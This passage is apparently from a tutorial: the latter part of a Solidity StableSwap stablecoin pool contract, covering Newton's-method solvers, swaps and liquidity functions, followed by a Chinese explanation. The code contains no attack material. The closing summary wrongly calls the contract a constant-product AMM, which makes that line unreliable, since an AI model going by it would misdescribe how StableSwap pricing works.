    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
    uint256[N] private multipliers = [1, 1e12, 1e12];
    uint256[N] public balances;

    // 1 share = 1e18, 18 decimals
    uint256 private constant DECIMALS = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address[N] memory _tokens) {
        tokens = _tokens;
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    // Return precision-adjusted balances, adjusted to 18 decimals
    function _xp() private view returns (uint256[N] memory xp) {
        for (uint256 i; i < N; ++i) {
            xp[i] = balances[i] * multipliers[i];
        }
    }

    /**
     * @notice Calculate D, sum of balances in a perfectly balanced pool
     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
     * @param xp Precision-adjusted balances
     * @return D
     */
    function _getD(uint256[N] memory xp) private pure returns (uint256) {
        /*
        Newton's method to compute D
        -----------------------------
        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D 
        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1

                     (as + np)D_n
        D_(n+1) = -----------------------
                  (a - 1)D_n + (n + 1)p

        a = An^n
        s = sum(x_i)
        p = (D_n)^(n + 1) / (n^n prod(x_i))
        */
        uint256 a = A * N; // An^n

        uint256 s; // x_0 + x_1 + ... + x_(n-1)
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        // Newton's method
        // Initial guess, d <= s
        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (Math.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert("D didn't converge");
    }

    /**
     * @notice Calculate the new balance of token j given the new balance of token i
     * @param i Index of token in
     * @param j Index of token out
     * @param x New balance of token i
     * @param xp Current precision-adjusted balances
     */
    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp)
        private
        pure
        returns (uint256)
    {
        /*
        Newton's method to compute y
        -----------------------------
        y = x_j

        f(y) = y^2 + y(b - D) - c

                    y_n^2 + c
        y_(n+1) = --------------
                   2y_n + b - D

        where
        s = sum(x_k), k != j
        p = prod(x_k), k != j
        b = s + D / (An^n)
        c = D^(n + 1) / (n^n * p * An^n)
        */
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    /**
     * @notice Calculate the new balance of token i given precision-adjusted
     * balances xp and liquidity d
     * @dev Equation is calculate y is same as _getY
     * @param i Index of token to calculate the new balance
     * @param xp Precision-adjusted balances
     * @param d Liquidity d
     * @return New balance of token i
     */
    function _getYD(uint256 i, uint256[N] memory xp, uint256 d)
        private
        pure
        returns (uint256)
    {
        uint256 a = A * N;
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k != i) {
                _x = xp[k];
            } else {
                continue;
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    // Estimate value of 1 share
    // How many tokens is one share worth?
    function getVirtualPrice() external view returns (uint256) {
        uint256 d = _getD(_xp());
        uint256 _totalSupply = totalSupply;
        if (_totalSupply > 0) {
            return (d * 10 ** DECIMALS) / _totalSupply;
        }
        return 0;
    }

    /**
     * @notice Swap dx amount of token i for token j
     * @param i Index of token in
     * @param j Index of token out
     * @param dx Token in amount
     * @param minDy Minimum token out
     */
    function swap(uint256 i, uint256 j, uint256 dx, uint256 minDy)
        external
        returns (uint256 dy)
    {
        require(i != j, "i = j");

        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);

        // Calculate dy
        uint256[N] memory xp = _xp();
        uint256 x = xp[i] + dx * multipliers[i];

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        // y0 must be >= y1, since x has increased
        // -1 to round down
        dy = (y0 - y1 - 1) / multipliers[j];

        // Subtract fee from dy
        uint256 fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
        dy -= fee;
        require(dy >= minDy, "dy < min");

        balances[i] += dx;
        balances[j] -= dy;

        IERC20(tokens[j]).transfer(msg.sender, dy);
    }

    function addLiquidity(uint256[N] calldata amounts, uint256 minShares)
        external
        returns (uint256 shares)
    {
        // calculate current liquidity d0
        uint256 _totalSupply = totalSupply;
        uint256 d0;
        uint256[N] memory old_xs = _xp();
        if (_totalSupply > 0) {
            d0 = _getD(old_xs);
        }

        // Transfer tokens in
        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                IERC20(tokens[i]).transferFrom(
                    msg.sender, address(this), amount
                );
                new_xs[i] = old_xs[i] + amount * multipliers[i];
            } else {
                new_xs[i] = old_xs[i];
            }
        }

        // Calculate new liquidity d1
        uint256 d1 = _getD(new_xs);
        require(d1 > d0, "liquidity didn't increase");

        // Reccalcuate D accounting for fee on imbalance
        uint256 d2;
        if (_totalSupply > 0) {
            for (uint256 i; i < N; ++i) {
                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
                uint256 idealBalance = (old_xs[i] * d1) / d0;
                uint256 diff = Math.abs(new_xs[i], idealBalance);
                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
            }

            d2 = _getD(new_xs);
        } else {
            d2 = d1;
        }

        // Update balances
        for (uint256 i; i < N; ++i) {
            balances[i] += amounts[i];
        }

        // Shares to mint = (d2 - d0) / d0 * total supply
        // d1 >= d2 >= d0
        if (_totalSupply > 0) {
            shares = ((d2 - d0) * _totalSupply) / d0;
        } else {
            shares = d2;
        }
        require(shares >= minShares, "shares < min");
        _mint(msg.sender, shares);
    }

    function removeLiquidity(uint256 shares, uint256[N] calldata minAmountsOut)
        external
        returns (uint256[N] memory amountsOut)
    {
        uint256 _totalSupply = totalSupply;

        for (uint256 i; i < N; ++i) {
            uint256 amountOut = (balances[i] * shares) / _totalSupply;
            require(amountOut >= minAmountsOut[i], "out < min");

            balances[i] -= amountOut;
            amountsOut[i] = amountOut;

            IERC20(tokens[i]).transfer(msg.sender, amountOut);
        }

        _burn(msg.sender, shares);
    }

    /**
     * @notice Calculate amount of token i to receive for shares
     * @param shares Shares to burn
     * @param i Index of token to withdraw
     * @return dy Amount of token i to receive
     *         fee Fee for withdraw. Fee already included in dy
     */
    function _calcWithdrawOneToken(uint256 shares, uint256 i)
        private
        view
        returns (uint256 dy, uint256 fee)
    {
        uint256 _totalSupply = totalSupply;
        uint256[N] memory xp = _xp();

        // Calculate d0 and d1
        uint256 d0 = _getD(xp);
        uint256 d1 = d0 - (d0 * shares) / _totalSupply;

        // Calculate reduction in y if D = d1
        uint256 y0 = _getYD(i, xp, d1);
        // d1 <= d0 so y must be <= xp[i]
        uint256 dy0 = (xp[i] - y0) / multipliers[i];

        // Calculate imbalance fee, update xp with fees
        uint256 dx;
        for (uint256 j; j < N; ++j) {
            if (j == i) {
                dx = (xp[j] * d1) / d0 - y0;
            } else {
                // d1 / d0 <= 1
                dx = xp[j] - (xp[j] * d1) / d0;
            }
            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
        }

        // Recalculate y with xp including imbalance fees
        uint256 y1 = _getYD(i, xp, d1);
        // - 1 to round down
        dy = (xp[i] - y1 - 1) / multipliers[i];
        fee = dy0 - dy;
    }

    function calcWithdrawOneToken(uint256 shares, uint256 i)
        external
        view
        returns (uint256 dy, uint256 fee)
    {
        return _calcWithdrawOneToken(shares, i);
    }

    /**
     * @notice Withdraw liquidity in token i
     * @param shares Shares to burn
     * @param i Token to withdraw
     * @param minAmountOut Minimum amount of token i that must be withdrawn
     */
    function removeLiquidityOneToken(
        uint256 shares,
        uint256 i,
        uint256 minAmountOut
    ) external returns (uint256 amountOut) {
        (amountOut,) = _calcWithdrawOneToken(shares, i);
        require(amountOut >= minAmountOut, "out < min");

        balances[i] -= amountOut;
        _burn(msg.sender, shares);

        IERC20(tokens[i]).transfer(msg.sender, amountOut);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

这段代码是一个 Solidity 合约的实现,名为 StableSwap,用于在区块链上进行稳定币的交换和流动性管理。以下是对代码中主要部分的中文解释:

8.34.1 合约结构与功能概述

  1. 库定义
    • Math 库提供了一个用于计算两个无符号整数绝对差值的函数 abs
  2. 合约变量
    • N:支持的代币数量(这里是 3)。
    • A:放大系数,影响流动性池的形状,值越高,曲线越平坦。
    • SWAP_FEELIQUIDITY_FEE:定义交换和流动性操作的费用。
    • tokens:存储支持的代币地址。
    • multipliers:将每种代币标准化为 18 位小数的乘数。
    • balances:存储每种代币的余额。
    • totalSupplybalanceOf:用于追踪合约的总供应量和每个地址的余额。
  3. 构造函数
    • 接收并存储代币地址。

8.34.2 主要功能

  1. 流动性管理
    • _mint_burn:用于铸造和销毁代币,更新供应量。
    • addLiquidity:允许用户添加流动性,计算新流动性,并可能会收取不平衡费用。
    • removeLiquidity:允许用户移除流动性,并计算对应的代币输出。
  2. 交换功能
    • swap:执行代币交换,计算输入代币数量与输出代币数量,并收取交换费用。
  3. 计算功能
    • _xp:返回经过精度调整的余额。
    • _getD_getY:使用牛顿法计算平衡池中的 D 值(流动性总量)和目标代币的数量。
    • getVirtualPrice:估算一份代币的价值。
  4. 取款功能
    • removeLiquidityOneToken:允许用户提取一种代币,并计算所需的手续费和输出金额。

8.34.3 计算方法

  • 代码中多次使用牛顿法来解决不平衡问题,这是一种常见的数值计算方法,特别适合解决涉及复杂方程的问题。

8.34.4 总结

整体来看,该合约实现了一个基于恒定产品市场做市商(AMM)模型的流动性池,用户可以在其中进行代币交换和流动性管理,合约会自动计算交换费用和流动性分配,确保在交易中保持平衡。